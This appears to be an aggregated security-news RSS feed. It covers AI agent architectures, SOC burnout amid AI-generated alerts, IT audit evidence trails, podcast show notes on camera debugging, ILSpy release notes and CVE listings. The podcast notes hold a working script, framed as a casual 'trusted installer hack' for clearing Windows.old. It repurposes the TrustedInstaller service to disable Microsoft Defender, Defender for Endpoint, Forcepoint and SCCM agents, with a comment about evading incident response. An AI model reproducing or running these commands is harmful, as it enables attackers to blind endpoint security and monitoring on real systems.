A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.

The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.

5. The human-in-the-loop (HITL) agent

The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. According to Moody’s, 42% of compliance professionals believe that human oversight is mandatory, and I agree: AI should run right, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.

A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.

A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.

6. The scheduled agent

On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.

A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.

A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.

Bringing it together

None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.

Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?

Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[SOCs face a human challenge as AI speeds alerts and threats]]> https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/ https://tsecurity.de/de/3680465/it-security-nachrichten/socs-face-a-human-challenge-as-ai-speeds-alerts-and-threats/ Mon, 20 Jul 2026 09:08:51 +0200 📰 IT Security Nachrichten tsecurity.de

Security operations centers (SOCs) have spent years struggling under the weight of growing alert volumes, expanding attack surfaces, and chronic staffing shortages. Now artificial intelligence is adding a new complication: not just more information, but more machine-generated information that must itself be evaluated.

“There is an asymmetry here because you now have to parse through a lot of AI slop to get to, ‘Okay, is this real or not?’” Fernando Montenegro, vice president and practice lead at The Futurum Group, tells CSO.

His observation captures a growing concern among security leaders. AI is helping attackers and defenders move faster, but it is also creating new forms of cognitive burden for the humans tasked with separating signal from noise.

As AI accelerates vulnerability discovery and enables more automated reconnaissance and exploitation, defenders are increasingly responsible for overseeing systems whose outputs can be difficult to interpret or verify. The challenge is not simply more work. It is that the volume, speed, and complexity of that work are increasing simultaneously.

Yet experts who study and advise SOCs reject the idea that collapse is inevitable. Instead, they describe an industry entering a difficult transition that could reshape how security teams operate and how humans and machines share responsibility for defense.

The vulnerability surge is exposing years of security debt

One of the most immediate concerns is the possibility that AI dramatically increases the number of vulnerabilities organizations must identify and remediate.

Chris Crowley, a longtime cybersecurity instructor and SOC expert, argues that organizations are facing the consequences of years of accumulated technology debt.

“A lot of what we’re going to have to account for in the next couple of years is a technology debt of vulnerable software that has been deployed because it’s good enough to solve the problem, but then there are all these latent cyber issues, flaws, vulnerabilities that weren’t discovered prior to deployment,” he tells CSO.

AI-assisted vulnerability discovery has the potential to expose those weaknesses at a pace defenders have never experienced before.

“The compression of work that is being dropped on us is unprecedented,” Crowley says. “We’ve just been ignoring it for decades.”

He does not believe AI will necessarily create entirely new classes of vulnerabilities. Instead, he expects defenders to confront much larger volumes of familiar problems.

“We’re going to have 100 of these simultaneously,” he says, referring to the kinds of high-priority vulnerabilities security teams traditionally handle one at a time.

The AI challenge for many SOCs may be less a novelty problem than a volume problem. Security teams already know how to patch systems, prioritize remediation, and respond to critical exposures. What changes is the scale and speed at which those demands arrive.

Organizations with mature patching, prioritization, escalation, and response processes may struggle but adapt. Organizations that have treated security operations as a bare-minimum compliance function may find themselves overwhelmed.

For CISOs, Crowley says, that means treating “patch now” less as an occasional emergency state and more as a permanent operating posture. As AI accelerates vulnerability discovery, the distinction between routine maintenance and crisis response may continue to blur.

He compares the situation to disaster recovery planning. Organizations that wait until a crisis arrives to establish staffing plans, escalation paths, and remediation processes may discover there is not enough help available.

Cognitive overload may become the defining challenge

While vulnerability discovery receives much of the attention, Montenegro believes security leaders need a broader framework for understanding AI’s impact.

Organizations should think about AI through three lenses, he says: security for AI, AI for security, and security from AI. The first involves protecting AI systems. The second involves using AI to improve defensive operations. The third asks what happens when adversaries use AI against the organization.

For SOCs, all three categories are beginning to overlap.

As AI makes it easier to create reports, assessments, vulnerability submissions, and other operational artifacts, humans remain responsible for determining whether that information is accurate and useful.

“It becomes much easier to generate content,” Montenegro says, “but if you’re going to review that content as a human, the onus on you now is that much larger.”

The result is a new form of cognitive overload. Security professionals may spend increasing amounts of time evaluating machine-generated information instead of conducting higher-value security work.

Organizations can increasingly use AI to summarize reports, evaluate alerts, and assist with investigations, but humans remain responsible for validating the results.

“We’re not at the stage yet where people are comfortable” handing off critical decisions entirely to AI, he says.

That leaves defenders caught between two competing realities: AI is creating more information to process, but AI is also becoming one of the few viable tools for managing that growing workload.

For Montenegro, the principle should be to automate tasks, not roles. AI can absorb repetitive investigative steps, but organizations should be cautious about removing humans from the process entirely.

The risk, he says, is that if organizations hide too much complexity behind automated outputs, analysts may lose opportunities to develop the domain knowledge needed to advance.

“How is that professional who is reacting to those alerts growing as a professional?” he says.

The gap between mature and struggling SOCs may widen

Not every organization will experience the impact of AI in the same way.

John Hubbard, senior cybersecurity consultant and SANS instructor, believes the industry’s response will largely depend on how well organizations have prepared for operational stress before AI arrives at scale.

“I would roughly break security operations teams into two camps,” Hubbard tells CSO. “There are the ones that are definitely struggling, are already overwhelmed. And then some are doing really well.”

The struggling organizations tend to be understaffed, underfunded, undertrained, or dependent on ad hoc processes. Every incident feels different, forcing teams to improvise under pressure.

“Getting hit with something like this can certainly be an accelerant for burnout if they weren’t already experiencing it,” Hubbard says.

By contrast, mature security teams have already invested in processes, training, exercises, and automation. “The teams that are doing a really solid job now are probably not super overwhelmed because they’ve developed the processes and procedures to be ready for this kind of thing,” Hubbard says.

He compares successful SOCs to fire departments. Firefighters cannot predict exactly where the next emergency will occur, but they know how to respond because they have rehearsed those responses repeatedly.

“The teams that kind of can react like a fire department are the ones that are getting it right,” he says.

Those organizations conduct tabletop exercises, adversary emulation exercises, red-team assessments, and incident response drills. As a result, they can absorb additional workload without descending into panic.

Burnout remains the industry’s most difficult problem

Despite widespread concern about AI-enabled attacks, none of the experts view AI solely as a threat. Several argue that AI will become essential for helping defenders cope with the challenges it creates.

Jose-Marie Griffiths, president emerita and former CIO of Dakota State University, believes AI can help security teams sift through overwhelming volumes of information and identify the signals that matter most.

“People who work in SOCs are now seeing overwhelming volumes of data, and they’re getting fatigued,” Griffiths tells CSO.

AI can help automate portions of analysis, validate alerts, and improve visibility into complex environments. But Griffiths cautions that some AI-assisted vulnerability discovery tools are also producing large numbers of false positives.

That matters because false positives do not eliminate work. They create it. As organizations confront escalating volumes of findings, distinguishing genuine risk from erroneous results may become as important as discovering vulnerabilities in the first place.

The experts agree that technology alone will not determine outcomes. People will.

Crowley argues that cybersecurity professionals must recognize that uncertainty is intrinsic to the profession. “We are the group that deals with uncertainty,” he says. “That’s really and truly what cybersecurity is.”

That reality places responsibility on both individuals and organizations. Analysts need mechanisms for managing stress. Teams need to recognize when colleagues are approaching their limits. Managers need to establish healthy escalation practices and realistic expectations.

Hubbard rejects the notion that burnout is inevitable.

“It is not a foregone conclusion that security operations jobs have to be a painful grind that everyone hates,” he says.

He has seen organizations where employees remain engaged for years because leaders actively manage workload, create supportive cultures, and encourage open communication.

That includes making it safe for analysts to admit when they have reached their limits. “If people are unwilling to say, ‘I’m maxed out right now, and I’m going crazy,’ that’s going to be the thing that breaks a lot of teams,” Hubbard says.

Pay alone may not solve the problem. Crowley pointed to SANS/SOC survey findings showing that compensation ranked fourth among retention factors, behind meaningful work, training, and professional development.

The future SOC may look very different

Griffiths believes organizations will need to respond not only with better technology but with structural changes. Traditional tiered SOC models may need to evolve into more collaborative teams with diverse expertise working together in real-time.

“I think we’re going to have to eliminate the hierarchies a little bit and have teams of people with different expertise working together,” she says.

She also argues that organizations should invest in human expertise rather than simply increasing AI consumption. “Buy engineers, not tokens,” she says.

Professional networks and peer support will matter as much as any tool, Griffiths says, because defenders need trusted communities where they can compare notes, share practices, and avoid facing sustained pressure in isolation.

If there is a consensus emerging among experts, it is that AI is exposing weaknesses that already existed.

The staffing shortages, alert fatigue, burnout, and process failures affecting SOCs did not begin with generative AI. AI is simply amplifying them.

At the same time, AI is providing new tools that may help organizations manage those very challenges.

The future SOC may spend less time manually triaging alerts and more time validating automated findings, conducting threat hunting, and making strategic decisions. Human expertise may increasingly be paired with AI systems that act as operational partners.

The transition will not be painless. Some teams will struggle. Some practitioners may leave the field. Others will adapt and thrive.

“In a way,” Griffiths says, “we’re turning the whole SOC inside out.”

Montenegro sees the transition as a cybersecurity version of the Red Queen effect: defenders and attackers must keep running simply to stay in place.

Borrowing from science-fiction author William Gibson, Montenegro offered perhaps the simplest description of the industry’s current moment: “The future is already here. It’s just unevenly distributed.”

For security leaders, that future is arriving in the form of AI-generated vulnerabilities, AI-assisted investigations, and AI-enabled adversaries. The question is no longer whether security operations centers will change. It is whether organizations can adapt quickly enough to keep pace.

]]> <![CDATA[The audit trail CIOs need before the next cyber crisis]]> https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/ https://tsecurity.de/de/3680143/it-security-nachrichten/the-audit-trail-cios-need-before-the-next-cyber-crisis/ Mon, 20 Jul 2026 02:13:22 +0200 📰 IT Security Nachrichten tsecurity.de

In one ransomware response I observed, the master operational dashboard remained green while the underlying environment told a very different story. It was a classic example of what we in the IT audit profession call the “watermelon effect”—green on the outside, red on the inside.

Beneath that dashboard sat an unmapped web of legacy technical debt, undocumented service accounts and shadow cloud instances. For years, presenting a green dashboard to the audit committee could give technology leaders a false sense of comfort. If a catastrophic breach occurred, it was generally treated as an unpredictable operational tragedy, managed via cyber insurance, a carefully calibrated public relations pivot and perhaps a quiet executive transition.

Today, that corporate shield is thinner than many technology leaders assume. For technology leaders in regulated or public-company environments, executive exposure is no longer only a theoretical debate. The regulatory environment has made plausible deniability much harder to sustain.

The erosion of the corporate shield

With the application of the European Union’s Digital Operational Resilience Act (DORA) for financial entities, alongside the broader NIS2 Directive for essential and important entities, cybersecurity governance has become harder to separate from board-level oversight. DORA places ultimate responsibility for ICT risk management on the management body of financial entities, while NIS2 requires management bodies to approve and oversee cybersecurity risk-management measures. In the United States, the U.S. Securities and Exchange Commission’s cybersecurity disclosure rules require public companies to disclose material cyber incidents and describe their cyber risk management, strategy and governance in annual filings. The new burden is not simply to operate controls; it is to show, after the fact, that leadership decisions matched the risk evidence available at the time.

The serious risk to a modern CIO is not simply the occurrence of a sophisticated security incident. The true danger is the inability to reconcile what leadership presented externally to investors, regulators and the board with what the internal evidence showed inside the environment.

When a serious crisis breaks, you may find yourself surrounded by corporate defense counsel, regulatory investigators and outside forensic lawyers all asking variations of the same uncomfortable questions: What did you know, when did you discover it and what specific actions did you take next?

When those questions are asked, a slide deck asserting that your security posture is “aligned with industry best practices” will not be enough. A post-incident review may recognize that sophisticated attacks occur. What creates greater exposure is evidence that known risks were ignored, understated or left outside structured governance. To survive that level of post-incident review, one of your strongest assets is a disciplined, independent evidence trail showing that risks were identified, challenged, escalated and acted on before the first indicator of compromise appeared.

Why point-in-time comfort letters fail regulatory scrutiny

The reality we face is that legacy compliance evidence often falls short under regulatory scrutiny. For years, the annual SOC 2 Type II report or a standardized ISO 27001 certification was brandished by technology teams as the definitive proof of a functional control environment. I have sat in dozens of scoping meetings where an engineering director pointed to a freshly minted compliance report as if it were a complete defense against scrutiny.

But a compliance report is a historical artifact—a retrospective evaluation of how specific controls operated during a defined window of time months in the past. It tells an investigator that on a random afternoon in Q2, your production change-management approvals conformed to a baseline policy. It says absolutely nothing about the configuration drift, unauthorized API keys or emergency patch bypasses that developers introduced the following weekend to hit a product release deadline.

Modern regulators, boards and investors are no longer satisfied by historical comfort letters alone. Under contemporary frameworks, especially regimes focused on operational resilience, static compliance evidence is no longer enough. The expectation of due care has shifted from a passive state of compliance to an active state of continuous challenge. Increasingly, post-incident reviews look for evidence that leadership identified system vulnerabilities, formally escalated material deficiencies, evaluated systemic risk to the business and tracked remediation progress with measurable rigor.

When an architecture fails, post-incident reviews often focus quickly on ownership, escalation and whether known risks were acted upon. If your defensive documentation consists entirely of static policy documents and green dashboards, you leave an evidentiary vacuum that can invite difficult questions about executive oversight. Post-incident reviews rarely turn on perfection. They turn on whether the organization can show a traceable chain of governance.

5 non-negotiable artifacts for your executive evidence engine

This reality requires a complete reframing of your relationship with your IT audit department. Historically, this dynamic has been defined by friction. Technology leaders frequently view my peers and me as compliance traffic cops—bureaucrats who interrupt core engineering sprints to demand evidence samples, user access reviews and system configurations.

It is time to view IT audit through a pragmatic lens: we are your independent evidence engine. We are one of the few corporate functions tasked with independently challenging your control environment, documenting where exceptions were escalated and showing how management responded. When an auditor identifies a control gap and partners with you to draft a management action plan, they are not creating a bureaucratic roadblock. They are helping you construct an evidence trail that can show risk was identified, escalated and acted upon.

To transform your IT audit function into an effective executive shield, you must shift focus away from superficial check-the-box exercises and collaborate on specific artifacts. The most effective exercise you can run with your audit leadership is to flip the timeline completely and ask: if this program were reviewed six months from now, which evidence would show we governed the risk before it failed?

  1. Board-facing risk registers with escalation history: A risk register that sits unreviewed on an intranet page for 12 months is not a management tool; to an investigator, it can look like evidence that known risks were not actively governed. Your material technology, cybersecurity and dependency risks must be centrally logged. More importantly, this artifact must contain a clear, chronological escalation history showing exactly when the risk was presented to leadership committees and the board, along with related minutes, decisions or follow-up actions.
  2. Granular risk acceptance records: You cannot remediate every vulnerability instantly. Business continuity, legacy software limitations and budgetary boundaries require you to accept certain operational exposures. When this occurs, ensure your risk acceptance records are airtight. A defensible record must document the specific technical variance, the precise financial or operational rationale for the delay, a definitive expiration date, explicit executive sign-off and the active compensating controls deployed to reduce the blast radius in the interim.
  3. Tabletop and operational simulation records: Independent frameworks such as ISACA’s Digital Trust Ecosystem Framework can help structure this evidence, but boards and regulators will still look for proof that the testing actually happened. Your audit trail should contain comprehensive records of cyber incident, disaster recovery and third-party dependency simulations. These records must detail the scenario tested, the executive participants, the control failures identified during the drill and a formalized tracking schedule showing when those gaps were closed.
  4. AI governance inventories and data-flow mappings: The rapid deployment of generative AI tools across enterprise operations has created a massive blind spot for technology executives. In one audit, we found developers using an unapproved public large language model to accelerate debugging with sensitive internal code. To protect yourself, work with your audit team to build an active enterprise AI inventory that maps data lineage, identifies model business owners, documents risk classification approvals and demonstrates active technical monitoring for unauthorized data exfiltration.
  5. Synchronized disclosure-control handoffs: When a material security incident or system outage occurs, the clock begins ticking for regulatory reporting. Your incident response playbook must be technically linked to your corporate disclosure controls. The audit trail should show that a documented, synchronized handoff occurred between your technical response leaders, general counsel, chief financial officer and corporate communications team. This evidence helps show that your external statements match internal technical realities.

In the modern corporate ecosystem, technology leadership is no longer just an engineering challenge; it is an exercise in rigorous, evidence-based governance. The regulatory landscape has changed, and the expectation of continuous traceability cannot be avoided.

Open and direct collaboration with your IT audit team will not prevent a zero-day exploit, an unexpected cloud outage or a critical third-party vendor failure. That is not the purpose of enterprise risk management.

The true value is far more practical: when a serious incident puts your program under review, you will not be forced to defend your reputation with a feeling, an unverified assumption or a misleadingly green dashboard. Instead, you will have an independent record showing that risk was actively seen, appropriately challenged, properly escalated and responsibly managed. In today’s regulatory environment, that disciplined trail of evidence may be the difference between a failure that can be explained and one that begins to look negligent.

.

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]]> <![CDATA[HPR4686: Debugging Security Cameras: Firmware Updates, Python Scripts and Windows Workarounds]]> https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/ https://tsecurity.de/de/3680142/podcasts/hpr4686-debugging-security-cameras-firmware-updates-python-scripts-and-windows-workarounds/ Mon, 20 Jul 2026 02:06:59 +0200 🎥 Podcasts tsecurity.de This show has been flagged as Explicit by the host.

Show Notes

Episode Overview

  • Operator kicks off the episode feeling under the weather but shares a quick tip for making perfect egg drop soup before diving into his main project: diagnosing why his front-door security camera stopped sending alerts and recording events. What follows is a live-debugging session covering network config, script logging, Windows permission hacks, NTP time drift, and firmware flashing.

Key Topics & Breakdown

    • Egg Drop Soup Hack: How to get that perfect ribbony texture by creating a boiling swirl before pouring in the eggs, plus broth-to-egg ratio tips.
    • Camera Setup & Network Config: Using static DHCP via MAC address binding on a UniFi Dream Machine (UDM) for local domain resolution instead of hardcoding IPs.
    • Python & Cron Automation: Running a custom Python script every 2 minutes to check for new recordings, parsing logs with grep -v , and navigating massive log files in vi .
    • Windows Troubleshooting Tangent: Deleting the stubborn Windows.old folder using the TrustedInstaller service hack ( ExecTI.exe ) instead of taking ownership manually.
    • Time Sync & Firmware Quirks: Discovering the camera's system clock was stuck in 2011/2026, causing missed events. Downloading firmware via a slow third-party link, renaming .bin to .zip , and extracting with 7-Zip.
    • Pre-Flash Backup Routine: Exporting camera configuration before upgrading, storing it in Google Drive for searchable documentation, and clearing old log/trigger files to reset the event pipeline.

️ Tools & Techniques Mentioned

    • crontab + Python scripts for automated monitoring
    • grep -v , cat , tail , and vi (line navigation with :1000 )
    • Obsidian for note-taking & AI assistant integration
    • Firefox/Playwright for headless browser testing
    • Turbo Download Manager & Bolt Media Downloader for multi-threaded/sniffing downloads
    • 7-Zip for archive extraction
    • Google Drive for searchable config backups

Resources & Links

Quick Takeaways

    1. Always verify NTP/time sync on IoT cameras before troubleshooting missed events or alerts.
    2. Use grep -v "noise" to quickly filter out repetitive log entries when debugging automation scripts.
    3. Windows system folders can be stubborn; running commands as TrustedInstaller bypasses hidden file locks without manual ownership changes.
    4. Always export and back up device configs before flashing firmware, even if the upgrade seems straightforward.
    5. Third-party download links often use temporary tokens or .bin wrappers; renaming to .zip and verifying with 7-Zip can save headaches.
  • Thanks for listening! Stay curious, keep your logs clean, and remember: defense in depth starts at home.

Example trusted installer hack

# Shhhh I can't IR ... Defender, ForcePoint, SMS Agent Host ...I just can't anymore ...

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Sense" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Fppsvc" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CcmExec" /v Start /t reg_dword /d 4 /f"

sc start "TrustedInstaller"

sc config TrustedInstaller binPath= "Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend" /v Start /t reg_dword /d 4 /f"

sc config TrustedInstaller binPath= "C:\Windows\servicing\TrustedInstaller.exe"

Provide feedback on this episode.

]]> <![CDATA[Hidden Wi‑Fi Killers: Everyday Things Quietly Ruining Your Home Internet]]> https://tsecurity.de/de/3679800/it-security-nachrichten/hidden-wifi-killers-everyday-things-quietly-ruining-your-home-internet/ https://tsecurity.de/de/3679800/it-security-nachrichten/hidden-wifi-killers-everyday-things-quietly-ruining-your-home-internet/ Sun, 19 Jul 2026 19:43:43 +0200 📰 IT Security Nachrichten tsecurity.de   Many everyday objects can quietly wreck your Wi‑Fi, and understanding them is the first step to a more stable home network. From kitchen gadgets to building materials, the invisible radio waves carrying your data are constantly competing with physical…

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]]> <![CDATA[Loop Engineering for RAG Question Parsing: The Small Loop That Runs Before Retrieval]]> https://tsecurity.de/de/3679673/ai-nachrichten/loop-engineering-for-rag-question-parsing-the-small-loop-that-runs-before-retrieval/ https://tsecurity.de/de/3679673/ai-nachrichten/loop-engineering-for-rag-question-parsing-the-small-loop-that-runs-before-retrieval/ Sun, 19 Jul 2026 17:18:55 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #6quinquies] - Prompt engineering, then context engineering, then loop engineering. On the question side, the loop is small by design: read the doc, ask what is missing, re-parse.

The post Loop Engineering for RAG Question Parsing: The Small Loop That Runs Before Retrieval appeared first on Towards Data Science.

]]> <![CDATA[ILSpy 11.0 Preview 1]]> https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/ https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/ Sun, 19 Jul 2026 16:33:41 +0200 💾 IT Security Tools tsecurity.de

Warning

We DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.

Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact because the ILSpy.app is neither signed nor notarized.

Avalonia Cross Platform Port

  • PR #3755: Avalonia 12 Port and Removal of the WPF UI
  • PR #3759: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity
  • PR #3766: Round-trip the legacy WPF SessionSettings shape
  • PR #3768: Build, test, and package ILSpy on Linux and macOS in CI
  • PR #3861: Show text-based resources inline with syntax highlighting
  • PR #3875: Avalonia 12.1
  • PR #3876: Keep BAML decompilation working when WPF assemblies are missing

New Features

  • PR #3847: Unpack !AvaloniaResources into per-file resource tree nodes
  • PR #3801: Fix #3797: resolve ilspycmd -t type names with fuzzy matching
  • PR #3789: Add a bookmarks feature for the decompiled C# view
  • PR #3786: Add omnibar breadcrumb and search bar above the decompiled code
  • PR #3769: Make the override modifier a link to the overridden member
  • PR #3762: Add Open from NuGet feed dialog for browsing and opening packages

User Interface

  • PR #3857: Fix #2078: Generic local functions not highlighted properly
  • PR #3855: Fix #3845: Add option to expand XML documentation comments
  • PR #3814: Toggle the fold under the right-click, not at the caret
  • PR #3812: Syntax-colour analyzer signatures with bold type names (#2164)

Enhancements

  • PR #3872: Decompile await on dynamic expressions
  • PR #3837: Fix #3804: decompile foreach over inline array
  • PR #3791: Fix #3777: decompile runtime async without a separate C# 15 setting
  • PR #3843: Bound XamarinCompressedFileLoader against crafted XALZ headers
  • PR #3842: Bound WebCilFile section access against mapped-view length
  • PR #3841: Harden BAML reader against crafted-resource crashes
  • PR #3816: Allow overriding an assembly's target framework for reference resolution
  • PR #3840: Bound .rsrc resource-tree parsing against crafted input
  • PR #3838: Guard against OOB read when bundle signature is at file start
  • PR #3818: Display the IL 'tail.' prefix in C# output
  • PR #3808: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in
  • PR #3802: Fix #3799 and three related stackalloc initializer decompilation defects
  • PR #3780: Compute public-key tokens with a managed SHA-1

Documentation

  • PR #3868: CONTRIBUTING.md for the AI era
  • PR #3870: Add decompiler architecture document

Testing / Infrastructure

  • PR #3771: Run the decompiler test suite on Linux
  • PR #3788: Use cross-platform separators for the FSharp.Core.dll test path
  • PR #3807: Adopt SDK default Compile items in Decompiler and Decompiler.Tests
  • PR #3815: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)
  • PR #3836: Don't assert decompiled local types match the signature
  • PR #3839: Add fine-grained debug steps with highlighting for C# and ILAst
  • PR #3849: Set OpenSSL SHA1 flag in build scripts
  • PR #3859: Add test coverage for untested corners of implemented language features
  • PR #3874: Upload TestCases folder as artifact when CI tests fail

Contributions

  • PR #3851: Fix #3850: recover ReadOnlySpan array literals from the legacy lazy cache — @sailro, thank you!
  • PR #3878: Handle negative dictionary capacity in string switch transform — @ds5678, thank you!
  • PR #3828: Fix #3826: wrap an overflowing constant subexpression in unchecked() — @sailro, thank you!
  • PR #3831: Fix #3825: reconstruct async iterators with [EnumeratorCancellation] and await in finally — @sailro, thank you!
  • PR #3830: Fix #3827: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — @sailro, thank you!
  • PR #3823: Fix #3821: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — @sailro, thank you!
  • PR #3822: Fix #3820: decompile dynamic ~ as ~x instead of an unsupported-opcode error — @sailro, thank you!
  • PR #3796: Fix decompiler tests project inside VS — @DoctorKrolic, thank you!
  • PR #3787: dev: fix editorconfig parsing on some editors — @mochaaP, thank you!
  • PR #3879: Fix the "Use nested namespace structure" option — @ds5678, thank you!

Bug Fixes

  • PR #3881: Reject negative char index in the length-and-char string switch
  • PR #3866: Fix #3475: Emit 'true ? null : new { ... }' for null of anonymous type
  • PR #3864: Fix #3860: Avoid 'out var' if the variable recurs in the argument list
  • PR #3873: Fix dynamic event-assignment decompilation leaking is-event opcode
  • PR #3863: Simplify hoisted null-guard fold to reference-type constructor chains
  • PR #3852: Fix #3824: fold a hoisted argument null-guard at the ILAst level
  • PR #3832: Fix #3754: omit async stepping info for runtime-async methods
  • PR #3806: Fix Export NullReferenceException for images/resourcexsd.baml
  • PR #3792: Fix #3774: keep field initializers when decompiling a static ctor alone
  • PR #3790: Skip missing session assemblies when navigating on launch
  • PR #3776: Escape reserved Windows device names in output file names

For a full list of changes click here.

]]> <![CDATA[Menopause.exe:running_with_limited_resources "Hacking the Hormonal System Update" (emf2026)]]> https://tsecurity.de/de/3679466/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/ https://tsecurity.de/de/3679466/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/ Sun, 19 Jul 2026 14:31:59 +0200 🎥 IT Security Video tsecurity.de <![CDATA[CVE-2022-3726 | GitLab Community Edition/Enterprise Edition up to 15.3.4/15.4.3/15.5.1 Swagger OpenAPI Document cross-site request forgery (Issue 362509 / EUVD-2022-43082)]]> https://tsecurity.de/de/3679430/sicherheitsluecken/cve-2022-3726-gitlab-community-editionenterprise-edition-up-to-153415431551-swagger-openapi-document-cross-site-request-forgery-issue-362509-euvd-2022-43082/ https://tsecurity.de/de/3679430/sicherheitsluecken/cve-2022-3726-gitlab-community-editionenterprise-edition-up-to-153415431551-swagger-openapi-document-cross-site-request-forgery-issue-362509-euvd-2022-43082/ Sun, 19 Jul 2026 14:09:07 +0200 🕵️ Sicherheitslücken tsecurity.de GitLab Community Edition and Enterprise Edition up to 15.3.4/15.4.3/15.5.1 and classified as problematic. This affects an unknown function of the component Swagger OpenAPI Document Handler. Executing a manipulation can lead to cross-site request forgery. The identification of this vulnerability is CVE-2022-3726. The attack may be launched remotely. There is no exploit available. It is suggested to upgrade the affected component.]]> <![CDATA[Menopause.exe:running_with_limited_resources "Hacking the Hormonal System Update" (emf2026)]]> https://tsecurity.de/de/3679424/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/ https://tsecurity.de/de/3679424/it-security-video/menopauseexerunningwithlimitedresources-hacking-the-hormonal-system-update-emf2026/ Sun, 19 Jul 2026 14:03:18 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Have you thought about your digital legacy? (emf2026)]]> https://tsecurity.de/de/3679414/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/ https://tsecurity.de/de/3679414/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/ Sun, 19 Jul 2026 13:47:50 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Have you thought about your digital legacy? (emf2026)]]> https://tsecurity.de/de/3679399/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/ https://tsecurity.de/de/3679399/it-security-video/have-you-thought-about-your-digital-legacy-emf2026/ Sun, 19 Jul 2026 13:33:31 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Cognitive biases: The bugs, features and zero‑days of the human mind (emf2026)]]> https://tsecurity.de/de/3679323/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/ https://tsecurity.de/de/3679323/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/ Sun, 19 Jul 2026 12:32:55 +0200 🎥 IT Security Video tsecurity.de <![CDATA[Cognitive biases: The bugs, features and zero‑days of the human mind (emf2026)]]> https://tsecurity.de/de/3679313/it-security-video/cognitive-biases-the-bugs-features-and-zerodays-of-the-human-mind-emf2026/ 